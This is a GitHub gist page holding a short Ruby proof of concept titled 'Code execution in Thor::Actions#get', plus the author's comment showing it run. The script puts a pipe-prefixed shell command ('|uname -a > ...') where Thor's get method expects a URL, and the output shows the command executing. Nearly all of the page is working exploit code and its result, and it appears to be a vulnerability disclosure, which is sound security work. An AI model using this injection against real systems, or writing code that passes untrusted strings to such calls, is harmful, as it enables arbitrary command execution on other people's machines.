Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Code execution in Thor::Actions#get
#!/usr/bin/env ruby
require 'thor'
class CLI < Thor
include Thor::Actions
desc "cmd_exec", "cmd_exec poc"
def cmd_exec()
get "|uname -a > cmd_exec_test;\nhttps://gist.github.com", "/tmp/dsadas"
end
end
CLI.start(ARGV)
@ecneladis

This comment has been minimized.

Copy link
Owner Author

@ecneladis ecneladis commented Jan 8, 2016

~/thor_cmd_exec ❯ ./thor_cmd_exec.rb cmd_exec
sh: line 1: https://gist.github.com: No such file or directory
   identical  /tmp/dsadas
~/thor_cmd_exec ❯ cat cmd_exec_test
Darwin
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment